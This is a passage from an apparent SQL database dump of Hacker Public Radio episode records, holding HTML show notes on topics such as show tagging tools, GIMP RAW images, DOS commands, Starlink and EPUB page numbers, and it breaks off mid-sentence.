href=\"https://hackerpublicradio.org/eps.php?id=3661#1\" target=\"_blank\">Comment 1</a>:\nArcher72 on 2022-07-24:\n\"Left out a show note\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3663#comments\" target=\"_blank\">hpr3663</a></strong>\n(2022-08-17) \"<em>How I got into Tech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3663#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-08-31:\n\"Welcome!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3664#comments\" target=\"_blank\">hpr3664</a></strong>\n(2022-08-18) \"<em>Secret hat conversations</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3664#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-08-25:\n\"serious talking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3665#comments\" target=\"_blank\">hpr3665</a></strong>\n(2022-08-19) \"<em>UNIX Is Sublime</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3665#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-08-12:\n\"File extensions are valid\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3665#2\" target=\"_blank\">Comment 2</a>:\nhipernike on 2022-08-19:\n\"Bind mount\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3665#3\" target=\"_blank\">Comment 3</a>:\nSome Guy On The Internet on 2022-08-20:\n\"I like file extensions\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3665#4\" target=\"_blank\">Comment 4</a>:\none-of-spoons on 2022-08-20:\n\"Free revision.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3666#comments\" target=\"_blank\">hpr3666</a></strong>\n(2022-08-22) \"<em>One Weird Trick</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3666#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-08-11:\n\"enthusiasm and willingness to learn\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3666#2\" target=\"_blank\">Comment 2</a>:\nLurking Prion on 2022-08-27:\n\"Rare Gems, indeed!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3671#comments\" target=\"_blank\">hpr3671</a></strong>\n(2022-08-29) \"<em>Response to Episode 3655, \"BSD for Linux Users\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3671#1\" target=\"_blank\">Comment 1</a>:\nalan86 on 2022-08-30:\n\"Feedback\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-August/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-August/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"git-repository-for-hpr-development\">Git repository for HPR development</h3>\n<p>For security reasons the <a href=\"https://gitea.io/en-us/\">Gitea</a> service running on <a href=\"https://repo.anhonesthost.net\" class=\"uri\">https://repo.anhonesthost.net</a> requires people to log in with an account to view the repositories.</p>\n<p>Is this acceptable or do we need to move the code to another location?</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in <a href=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May 2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-09-03 18:34:16</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3377,'2021-07-13','Chromebook support and more',994,'I\'ve run into disaster using my chrome book','<p>\r\nI\'ve made a special show covering the problem with chromebook support.<br />\r\nI cover the latest AntiX release.<br />\r\nI cover the latest NomadBSD release and I cover GUIX 1.3 and what I ended up using GUIX for.\r\n</p>',377,0,1,'CC-BY-SA','chromebook, AntiX, NomadBSD, GUIX, bath',0,0,1),
(3389,'2021-07-29','Tales of a Tagger',366,'Adventures and mishaps tagging past shows','<p><a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a></p>\r\n<h2 id=\"shows-without-a-summary-andor-tags\">Shows without a summary and/or tags</h2>\r\n<h3 id=\"page-generated-on-2021-06-11-at-204339-utc\">Page generated on 2021-06-11 at 20:43:39 UTC</h3>\r\n<h3 id=\"sort-order-id\">Sort order: id</h3>\r\n<h3 id=\"current-counts\">Current counts</h3>\r\n<ul>\r\n<li>323 shows without summaries</li>\r\n<li>306 shows without tags</li>\r\n<li>275 shows with neither summaries nor tags</li>\r\n<li>354 shows which need work</li>\r\n</ul>\r\n<h3 id=\"instructions\">Instructions</h3>\r\n<ol type=\"1\">\r\n<li>Find a show in the list below</li>\r\n<li>Check in the list which attributes are missing: summary and/or tags</li>\r\n<li>Click the show number or title to visit the show page</li>\r\n<li>Read the show notes and listen to the show to determine the missing information</li>\r\n<li>Submit your updates by email to tags at hackerpublicradio.org</li>\r\n</ol>\r\n<p>Please send simple ASCII email. No HTML please, and no multipart, encrypted or signed messages; the script can\'t handle them at the moment! (We are working on a solution to some of this though). Remember, the internals of an email are complex and the script isn\'t clever enough to deal with all the many possible formats. Please be gentle with it!</p>\r\n<p>Format the message as follows:</p>\r\n<pre><code>show:12345\r\nsummary:Using Linux at Christmas to make tomato soup in a sporran\r\ntags:linux,christmas,sporran,tomato soup\r\n\r\nshow: 12346\r\ntags: sausage,clothing,hairpiece</code></pre>\r\n<ul>\r\n<li>Start with the show:XXXX line (just the show number, no \'hpr\')</li>\r\n<li>If either the summary or the tags are already present on the show you can omit them from the group</li>\r\n<li>It\'s not possible to change existing summaries or tags by this route, only to add missing ones</li>\r\n<li>Ensure the summary text isn\'t longer than 100 characters</li>\r\n<li>The tags need to be separated by commas</li>\r\n<li>If you need to add a tag with a comma in it enclose the tag in double quotes</li>\r\n<li>The length of the tag list can\'t exceed 200 characters</li>\r\n<li>You can update more than one show per email if you want</li>\r\n<li>Blank lines between the groups of show/summary/tags lines are fine (as shown), as are comment lines beginning with \'#\'</li>\r\n</ul>\r\n<p>Updates will be processed with a script, which is run manually, and this page will be refreshed once the changes have been made. The timestamp above shows when it was last refreshed.</p>\r\n<ol type=\"1\">\r\n<li>Got carried away and broke the 100 character rule\r\n<ul>\r\n<li>can be checked in vim by hitting \'$\', goes to the last character in the line. Observe the character count at the bottom of the screen to verify this is less than 100.</li>\r\n</ul></li>\r\n<li>Went a little too far with tags, and went pretty far beyond the 200 character</li>\r\n<li>Found that these are reasonable limits, that if not followed, break the script</li>\r\n<li><strong>Don\'t be like me. Gently use these tools and they will serve you well.</strong></li>\r\n<li>Here are some of the tools I used when tagging was done right.\r\n<ol type=\"1\">\r\n<li>i3 window manager\r\n<ul>\r\n<li>Use mplayer and vim</li>\r\n</ul></li>\r\n<li>Mplayer\r\n<ul>\r\n<li><p>Play audio file faster without pitch increase</p></li>\r\n<li><p><a href=\"https://kenfallon.com/speeding-up-speech-with-mplayer\" class=\"uri\">https://kenfallon.com/speeding-up-speech-with-mplayer</a><br />\r\n{ key will slow down by 50% of the current rate<br />\r\n[ key will slow down by 10% of the current rate<br />\r\nBackspace will return the speed to normal<br />\r\n] key will speed up 10% of the current rate<br />\r\n} key will speed up by 50% of the current rate<br />\r\n9 key will decrease the volume<br />\r\n0 key will increase the volume<br />\r\n</p>\r\n<p><code>alias mplayer=\'mplayer -af scaletempo\'</code></p></li>\r\n</ul></li>\r\n<li>Android - Termux\r\n<ul>\r\n<li>Download a show via wget (Doing this on Firefox does not show progress bar)\r\n<ul>\r\n<li>PodcastAddict</li>\r\n</ul></li>\r\n<li><a href=\"https://podcastaddict.com/app\" class=\"uri\">https://podcastaddict.com/app</a></li>\r\n<li>bookmark tags\r\n<ul>\r\n<li>advantage is having timestamps where you tagged (for reference)</li>\r\n</ul></li>\r\n<li>export tags\r\n<ul>\r\n<li>Share to Pushbullet\r\n<ul>\r\n<li><a href=\"https://play.google.com/store/apps/details?id=com.pushbullet.android\" class=\"uri\">https://play.google.com/store/apps/details?id=com.pushbullet.android</a></li>\r\n<li>edit list of tags</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ol></li>\r\n<li>Enjoy old shows and lend a hand at the same time. :)</li>\r\n</ol>\r\n',318,0,0,'CC-BY-SA','tags,mplayer,Android,Termux,vim,i3 window manager',0,0,1),
(3388,'2021-07-28','Linux Inlaws S01E35: The Free Software Foundation Europe',4695,'An interview with Matthias Kirschner, Free Software Foundation Europe','<p>In this episode our aging heroes host the Free Software Foundation Europe (FSFE). Its president, Matthias\r\nKirschner talk about the past, the present and the future of free and open source software not only\r\nfrom an FSFE perspective. Never mind how he got into computers in the first place. Also, different opinions\r\nabout communism in general and its implementations (and the flaws of the first rounds of implementations)\r\nare touched upon. So historians, FLOSS users and enthusiasts, communists and free spirits: This is your episode!\r\nPlus: Ever wondered what the Towel Day is all about? Check out the second half of the episode! At our guest\'s\r\nrequest: Please note that this episode was recorded on June 1st 2021.</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Free Software Foundation Europe: <a href=\"https://fsfe.org\" target=_blank>https://fsfe.org</a></li>\r\n<li>Matthias Kirschner: <a href=\"https://fsfe.org/about/people/kirschner/kirschner.en.html\" target=_blank>https://fsfe.org/about/people/kirschner/kirschner.en.html</a></li>\r\n<li>Free Software Foundation: <a href=\"https://fsf.org\" target=_blank>https://fsf.org</a></li>\r\n<li>Open Software Initiative (OSI): <a href=\"https://opensource.org\" target=_blank>https://opensource.org</a></li>\r\n<li>OSI definition of open source: <a href=\"https://opensource.org/osd\" target=_blank>https://opensource.org/osd</a></li>\r\n<li>Public Money Public Code campaign: <a href=\"https://publiccode.eu\" target=_blank>https://publiccode.eu</a></li>\r\n<li>Stallman controversy: <a href=\"https://arstechnica.com/tech-policy/2021/03/richard-stallman-returns-to-fsf-18-months-after-controversial-rape-comments\" target=_blank>https://arstechnica.com/tech-policy/2021/03/richard-stallman-returns-to-fsf-18-months-after-controversial-rape-comments</a></li>\r\n<li>Towel Day: <a href=\"https://en.wikipedia.org/wiki/Towel_Day\" target=_blank>https://en.wikipedia.org/wiki/Towel_Day</a></li>\r\n<li>FSFE podcast: <a href=\"https://fsfe.org/news/podcast.en.html\" target=_blank>https://fsfe.org/news/podcast.en.html</a></li>\r\n<li>Rutger Bregman, Human kind: <a href=\"https://www.amazon.de/Humankind-Hopeful-History-Rutger-Bregman/dp/1408898934\" target=_blank>https://www.amazon.de/Humankind-Hopeful-History-Rutger-Bregman/dp/1408898934</a></li>\r\n<li>Ashes to Ashes: <a href=\"https://www.bbc.co.uk/programmes/b00jhp3l\" target=_blank>https://www.bbc.co.uk/programmes/b00jhp3l</a></li>\r\n<li>UK met office: <a href=\"https://www.metoffice.gov.uk\" target=_blank>https://www.metoffice.gov.uk</a></li>\r\n<li>Karl Marx, A Critique of Political Economy: <a href=\"https://en.wikipedia.org/wiki/Das_Kapital\" target=_blank>https://en.wikipedia.org/wiki/Das_Kapital</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','FSFE, FSF, Stallman, Hackathon, Communism, Towel Day',0,0,1),
(3580,'2022-04-22','RAW images',939,'How to work with unprocessed images in RAW formats','<p>Most of the time we work with JPEG images because that is the most common format for digital images. They have the virtue of decent quality combined with smaller file size, and so won\'t fill up your storage quite as fast. But if you want the highest quality you have to work with unprocessed images, called RAW images. These are simply the actual data recorded by the camera sensors, and they give you some advantages, such as better correction of white balance. But GIMP does not open RAW images directly. But there are some work-arounds which we discuss in this tutorial.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Raw_image_format\" class=\"uri\">https://en.wikipedia.org/wiki/Raw_image_format</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Darktable\" class=\"uri\">https://en.wikipedia.org/wiki/Darktable</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dcraw\" class=\"uri\">https://en.wikipedia.org/wiki/Dcraw</a></li>\r\n<li><a href=\"https://linux.die.net/man/1/dcraw\" class=\"uri\">https://linux.die.net/man/1/dcraw</a></li>\r\n<li><a href=\"https://krita.org/en/\" class=\"uri\">https://krita.org/en/</a></li>\r\n<li><a href=\"https://www.rawtherapee.com/\" class=\"uri\">https://www.rawtherapee.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DigiKam\" class=\"uri\">https://en.wikipedia.org/wiki/DigiKam</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ImageMagick\" class=\"uri\">https://en.wikipedia.org/wiki/ImageMagick</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Shotwell_(software)\" class=\"uri\">https://en.wikipedia.org/wiki/Shotwell_(software)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Raw_image_format\" class=\"uri\">https://en.wikipedia.org/wiki/Raw_image_format</a></li>\r\n<li><a href=\"https://howtogimp.com/raw-photos-in-gimp/\" class=\"uri\">https://howtogimp.com/raw-photos-in-gimp/</a></li>\r\n<li><a href=\"https://www.signatureedits.com/free-raw-photos/\" class=\"uri\">https://www.signatureedits.com/free-raw-photos/</a></li>\r\n<li><a href=\"https://www.signatureedits.com/raw-files-license/\" class=\"uri\">https://www.signatureedits.com/raw-files-license/</a></li>\r\n<li><a href=\"https://www.darktable.org/install/\" class=\"uri\">https://www.darktable.org/install/</a></li>\r\n<li><a href=\"https://www.rawtherapee.com/downloads/\" class=\"uri\">https://www.rawtherapee.com/downloads/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/raw-images/\" class=\"uri\">https://www.ahuka.com/gimp/raw-images/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, RAW images, unprocessed images',0,0,1),
(3590,'2022-05-06','Directory Commands',872,'More on DOS. This time it is Directory commands.','<p>As we saw in the last lesson, DOS uses directories to organize the files on your disks. That means we need to use directory commands to create a structure to store our files, and to find the files we have stored there. This tutorial takes us through the various commands you can use to do this.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-10-directory-commands/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-10-directory-commands/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, directory listing',0,0,1),
(3600,'2022-05-20','Digitizing Photos',791,'How to digitize old prints, slides, and negatives','<p>Today most photos are in digital formats, such as those you take with a smartphone, so they can be worked on with GIMP right away. But about old prints, slides, and negatives? Before you can work on them, they need to be digitized in some way. In this tutorial I look at some of the options you have for doing this</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.toptenreviews.com/best-photo-scanning-services\" class=\"uri\">https://www.toptenreviews.com/best-photo-scanning-services</a></li>\r\n<li><a href=\"https://scandigital.com/\" class=\"uri\">https://scandigital.com/</a></li>\r\n<li><a href=\"https://everpresent.com/\" class=\"uri\">https://everpresent.com/</a></li>\r\n<li><a href=\"https://www.scancafe.com/\" class=\"uri\">https://www.scancafe.com/</a></li>\r\n<li><a href=\"https://www.gophoto.com/\" class=\"uri\">https://www.gophoto.com/</a></li>\r\n<li><a href=\"https://www.digitalmemoriesonline.net/\" class=\"uri\">https://www.digitalmemoriesonline.net/</a></li>\r\n<li><a href=\"https://www.scanmyphotos.com/\" class=\"uri\">https://www.scanmyphotos.com/</a></li>\r\n<li><a href=\"https://www.pcmag.com/reviews/google-photoscan\" class=\"uri\">https://www.pcmag.com/reviews/google-photoscan</a></li>\r\n<li><a href=\"https://www.toptenreviews.com/best-slide-to-digital-image-converters\" class=\"uri\">https://www.toptenreviews.com/best-slide-to-digital-image-converters</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/digitizing-photos/\" class=\"uri\">https://www.ahuka.com/gimp/digitizing-photos/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, digitizing, scanning, photos',0,0,1),
(3610,'2022-06-03','DOS Wildcards; File Attributes',907,'More on DOS. This time it is DOS Wildcards and File Attributes.','<p>For this lesson we are going to fill in a couple of concepts that we will need before we go further with directories. Wildcards can let you look for files and directories without specifying the complete name, and look for items with similar names or file extensions. And file attributes are an important part of file management.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-11-dos-wildcards-file-attributes/\" class=\"uri\">https://www.ahuka.com/dos-lessons-for-self-study-purposes/dos-lesson-11-dos-wildcards-file-attributes/</a></li>\r\n</ul>\r\n',198,117,0,'CC-BY-SA','DOS, early PC computing, wildcards, attributes',0,0,1),
(3620,'2022-06-17','Photo storage, backups, and workflow',1222,'How to keep your photos safe','<p>If you have photos that are important to you, you should take steps to protect them. Every day someone loses a lifetime of memories because they didn\'t take these steps. Don\'t be one of them. In this tutorial I explain how <em>I</em> backup and protect my photos and what my workflow is like. You may find some ideas here that you can use.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Electronic-Automatic-Rotation-Resolution-1280x800IPS/dp/B07QTKQPX4/ref\" class=\"uri\">https://www.amazon.com/Electronic-Automatic-Rotation-Resolution-1280x800IPS/dp/B07QTKQPX4/ref</a></li>\r\n<li><a href=\"https://www.theguardian.com/world/2007/sep/29/argentina.film\" class=\"uri\">https://www.theguardian.com/world/2007/sep/29/argentina.film</a></li>\r\n<li><a href=\"https://www.facebook.com/\" class=\"uri\">https://www.facebook.com/</a></li>\r\n<li><a href=\"https://www.google.com/photos/about/\" class=\"uri\">https://www.google.com/photos/about/</a></li>\r\n<li><a href=\"https://www.flickr.com/\" class=\"uri\">https://www.flickr.com/</a></li>\r\n<li><a href=\"https://www.smugmug.com/plans/\" class=\"uri\">https://www.smugmug.com/plans/</a></li>\r\n<li><a href=\"https://www.shutterfly.com/\" class=\"uri\">https://www.shutterfly.com/</a></li>\r\n<li><a href=\"https://beebom.com/flickr-alternatives/\" class=\"uri\">https://beebom.com/flickr-alternatives/</a></li>\r\n<li><a href=\"https://www.gimp.org/tutorials/GIMPProfile/\" class=\"uri\">https://www.gimp.org/tutorials/GIMPProfile/</a></li>\r\n<li><a href=\"https://www.ahuka.com/gimp/photo-storage-backups-and-workflow/\" class=\"uri\">https://www.ahuka.com/gimp/photo-storage-backups-and-workflow/</a></li>\r\n</ul>\r\n',198,113,0,'CC-BY-SA','GIMP, Photo storage, Photo backup, Photo workflow',0,0,1),
(3379,'2021-07-15','Linux Inlaws S01E34: The one with the intelligence',2716,'Part four of the three-part miniseries on deep learning and artificial intelligence','<p>\r\n    In this fourth part of our three-part miniseries on Deep and Machine Learning our two heroes shed some\r\n    light on a DL architecture called Generative Pre-Trained Transformer (GPT), a pretty sophistic piece\r\n    of software that fools most humans when it comes to authoring text (ideal for budding writers with\r\n    a block in place). Other topics of discussion includes OpenAI (the company behind this framework),\r\n    Elon Musk, Bitcoin, Microsoft and if the GPT can actually pass the Turing test. All will be revealed -\r\n    don\'t miss this episode!\r\n</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenAI: <a href=\"https://openai.com\" target=_blank>https://openai.com</a></li>\r\n<li>GPT: <a href=\"https://openai.com/projects\" target=_blank>https://openai.com/projects</a></li>\r\n<li>The Turing Test: <a href=\"https://en.wikipedia.org/wiki/Turing_test\" target=_blank>https://en.wikipedia.org/wiki/Turing_test</a></li>\r\n<li>GPT-2 source code: <a href=\"https://github.com/openai/gpt-2\" target=_blank>https://github.com/openai/gpt-2</a></li>\r\n<li>GPT meta-progamming: <a href=\"https://www.lesswrong.com/posts/zZLe74DvypRAf7DEQ/meta-programming-gpt-a-route-to-superintelligence\" target=_blank>https://www.lesswrong.com/posts/zZLe74DvypRAf7DEQ/meta-programming-gpt-a-route-to-superintelligence</a></li>\r\n<li>GPT-3 interview: <a href=\"https://www.youtube.com/watch?v=PqbB07n_uQ4\" target=_blank>https://www.youtube.com/watch?v=PqbB07n_uQ4</a></li>\r\n<li>DSDS: <a href=\"https://en.wikipedia.org/wiki/Deutschland_sucht_den_Superstar\" target=_blank>https://en.wikipedia.org/wiki/Deutschland_sucht_den_Superstar</a></li>\r\n<li>GPT-3 sample 1: <a href=\"https://linuxinlaws.eu/files/padawans.txt\" target=_blank>https://linuxinlaws.eu/files/padawans.txt</a></li>\r\n<li>GPT-3 sample 2: <a href=\"https://linuxinlaws.eu/files/HGttG.txt\" target=_blank>https://linuxinlaws.eu/files/HGttG.txt</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','GPT-3, OpenAI, Elon Musk, Microsoft, Bitcoin, meta-programming',0,0,1),
(3381,'2021-07-19','Learning to skate',2152,'Klaatu goes for a walk, and talks about learning to ride a skateboard','<p>Apologies for the heavy breathing. I chose (unwisely, in terms of audio) to walk up a steep hill.</p>\r\n',78,0,0,'CC-BY-SA','skateboard',0,0,1),
(3378,'2021-07-14','A bit of my experience with Starlink internet service',608,'some ramblings about satellite internet service and how Starlink is different','<p>Starlink website: <a href=\"https://www.starlink.com/\" class=\"uri\">https://www.starlink.com/</a></p>\r\n\r\n<p>Starlink from Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Starlink\" class=\"uri\">https://en.wikipedia.org/wiki/Starlink</a></p>\r\n\r\n<p>\r\nStarlink is a satellite internet constellation being constructed by SpaceX providing satellite Internet access. The constellation will consist of thousands of mass-produced small satellites in low Earth orbit (LEO), which communicate with designated ground transceivers. The SpaceX satellite development facility in Redmond, Washington houses the Starlink research, development, manufacturing, and orbit control teams. The cost of the decade-long project to design, build, and deploy the constellation was estimated by SpaceX in May 2018 to be at least US$10 billion.\r\n</p>\r\n<p>\r\nProduct development began in 2015. Two prototype test-flight satellites were launched in February 2018. Additional test satellites and 60 operational satellites were deployed in May 2019. SpaceX launches up to 60 satellites at a time, aiming to deploy 1,584 of the 260 kg (570 lb) spacecraft to provide near-global service by late 2021 or 2022. SpaceX started a private beta service in the Northern United States in August 2020 and a public beta in October 2020, service beginning at high latitudes between 44° and 52° North.\r\n</p>\r\n<p>\r\nOn 15 October 2019, the United States Federal Communications Commission (FCC) submitted filings to the International Telecommunication Union (ITU) on SpaceX\'s behalf to arrange spectrum for 30,000 additional Starlink satellites to supplement the 12,000 Starlink satellites already approved by the FCC.\r\n</p>\r\n<p>\r\nAstronomers have raised concerns about the constellations’ effect on ground-based astronomy and how the satellites will add to an already jammed orbital environment. In response, SpaceX has implemented several upgrades to Starlink satellites aimed at reducing their brightness during operation. The satellites are equipped with krypton-fueled Hall thrusters which allow them to de-orbit at the end of their life. Additionally, the satellites are designed to autonomously avoid collisions based on uplinked tracking data.\r\n</p>\r\n',243,0,0,'CC-BY-SA','internet, leo, satellites, ISP',0,0,1),
(3382,'2021-07-20','How I fixed a fault on my car for free thanks to YouTube',760,'How I fixed a fault on my car for free and as an added bonus without injuring myself!','<p>I had a spare moment and found this show on my hard drive. Cheers MrX</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=kl1_VM_j5r8\">YouTube video I found that explains how to fix a rattling heat shield for free</a></p>\r\n<p><em>Picture of the fix!</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3382/heat-shield-repair.jpg\" alt=\"Picture of the fix!\" /></p>\r\n',201,0,1,'CC-BY-SA','Car, Repair, Hack, DIY',0,0,1),
(3383,'2021-07-21','My gEeeky Experiment - Part 1',1029,'ClaudioM talks about how he revived his lowly Asus Eee PC 901 netbook with OpenBSD.','<ul>\r\n<li>Blog post: <a href=\"https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/\" class=\"uri\">https://claudiomiranda.wordpress.com/2020/01/04/my-geeeky-experiment-part-1/</a></li>\r\n<li>Asus Eee PC 901 info via Wikipedia (first paragraph in link): <a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC#Other_Eee_90x_models\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC#Other_Eee_90x_models</a></li>\r\n<li>OpenBSD Web Site: <a href=\"https://www.openbsd.org/\" class=\"uri\">https://www.openbsd.org/</a></li>\r\n<li>Duplicating installed packages on another machine, via the OpenBSD FAQ: <a href=\"https://www.openbsd.org/faq/faq15.html#PkgDup\" class=\"uri\">https://www.openbsd.org/faq/faq15.html#PkgDup</a></li>\r\n<li>Video of Eee PC 901 running OpenBSD 6.6: <a href=\"https://imgur.com/KHJj8lK\" class=\"uri\">https://imgur.com/KHJj8lK</a></li>\r\n<li>Mastodon post from <span class=\"citation\" data-cites=\"solene\">@solene</span><span class=\"citation\" data-cites=\"bsd.network\">@bsd.network</span> about the Firefox port on OpenBSD: <a href=\"https://bsd.network/@solene/106481939809930365\" class=\"uri\">https://bsd.network/@solene/106481939809930365</a></li>\r\n</ul>\r\n<p>CPU on my Dell Latitude E6410 via sysctl: hw.model=Intel(R) Core(TM) i5 CPU M 520 @ 2.40GHz</p>\r\n',152,0,0,'CC-BY-SA','asus,eeepc,openbsd,bsd,linux',0,0,1),
(3384,'2021-07-22','Page Numbers in EPUB eBook Files',1699,'Response to HPR 3367 I describe how to specify page numbers in an EPUB eBook.','<p>This episode is a response to <a href=\"https://hackerpublicradio.org/eps.php?id=3367\">hpr3367</a> by Andrew Conway and Dave Morriss. One of the topics they brought up was the thorny issue of page numbers in e-books. Most of the time you don\'t need to worry about page numbers in ebooks, if you\'re reading fiction for example. The whole point of an ebook is that the texts can reflow to fit the page no matter what size the screen is or what font-size you\'ve chosen. This is a major accessibility feature of all e-book formats. One reason you might want to specify actual page numbers, though, is if you\'re dealing with a technical or academic book, and you need to be able to refer to specific passages in the book by page number, as you are expected to do in academic research. Or, as Andrew and Dave were discussing, you might need to create an index in your ebook that would send your readers back to specific pages like in a paper book.</p>\r\n\r\n<p>I\'ve thought about this before but never really gotten into the weeds and figured out how to make it happen. In fact, when I was creating the new digital editions of the Counterpoint textbooks like I discussed in <a href=\"https://hackerpublicradio.org/eps.php?id=1512\">hpr1512</a>, I actually took the trouble to put page number anchors through the entire thing, so that at a future date I would be able to enable real page numbers. This was a key part of the source file\'s infrastructure, which helped me quickly find the passages I was working on in my huge HTML file. Those anchors are not quite in the correct format for EPUB, but they are consistent and I will easily be able to write a script to fix them. I haven\'t done that yet, but now that I figured out how to do it on some smaller examples, this is on my to-do list.</p>\r\n\r\n<p>Anyway while I was listening to Dave and Andrew talk about this, I thought I remembered reading somewhere that in the newest ePub specification, EPUB 3, there was support for publisher\'s page numbers to deal with precisely this issue. Their discussion prompted me to see if I could make it work. I\'m happy to report success, although with some qualifications, which I will get into.</p>\r\n\r\n<h3>Converting to EPUB 3</h3>\r\n\r\n<p>The first thing to do is to upgrade your ebook from EPUB2 to EPUB3. There are a couple of ways to do this. The way I did it was to use the ebook editor in a recent version of Calibre. When you open up the EPUB for editing, go to the <code>Tools</code> menu and choose <code>Upgrade book internals</code>. 